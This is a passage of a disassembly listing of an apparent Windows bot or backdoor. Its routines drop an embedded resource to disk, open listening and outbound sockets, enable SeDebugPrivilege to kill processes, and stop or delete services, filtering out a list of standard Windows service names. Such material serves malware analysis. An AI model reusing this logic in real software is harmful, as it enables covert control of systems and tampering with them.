jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB28 mov dword_50DB0C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB28 mov dword_50DB0C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB28 xor eax, eax mov dword_50DB14, eax mov dword_50DB0C, 1 mov dword_50DB1C, eax mov dword_50DB20, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB2C push offset dword_50DB08 push eax mov dword_50DB0C, 4 call near ptr 2910790h nop retn 4 sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44990F mov dword_50DB08, 20h mov dword_50DB0C, 2 mov dword_50DB10, 3 mov dword_50DB14, esi mov dword_50DB18, esi mov dword_50DB1C, esi mov dword_50DB20, esi call sub_4017EE push eax nop call near ptr 29103D6h cmp eax, esi mov dword_50DB2C, eax jz short loc_41FCAA push offset dword_50DB08 push eax mov dword_50DB0C, 4 mov dword_50DB1C, esi mov dword_50DB20, esi call near ptr 2910790h nop loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB28, ecx push 100h mov ecx, offset byte_44990F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 2910000h nop xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx call near ptr 28A1D26h nop mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 27B043Dh mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi nop call near ptr 27C0000h push edi push esi mov ebp, eax call near ptr 27C03F4h nop push ebp mov esi, eax call near ptr 27C07F6h nop push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FFC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 85E89056h, 0C6023901h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi nop call near ptr 2860000h loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 2950000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 2900000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444ADC ; "\\" call near ptr 76085AE4h nop inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23E093Ah, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2920993h mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28C0B27h mov esi, eax test esi, esi jnz short loc_420450 push ebx call near ptr 2930000h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h call near ptr 27B0284h nop push eax nop call near ptr 28E17BDh mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 27B02DCh push eax call near ptr 28E1D28h nop test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28F0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 call near ptr 27E098Ch nop cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2720000h mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi call near ptr 27B02F0h nop push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 28A1D26h test eax, eax mov dword_50DB30, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2800886h nop test eax, eax mov dword_50DB30, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB34, eax mov eax, dword_50DB30 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB30 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB38, eax call esi mov ecx, dword_50DB34 mov dword_50DB3C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB38 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB38 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB3C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi nop call near ptr 2860000h loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2920993h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_445314 mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_4452FC mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 2900000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420C73: ; CODE XREF: sub_4208E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420B6B mov 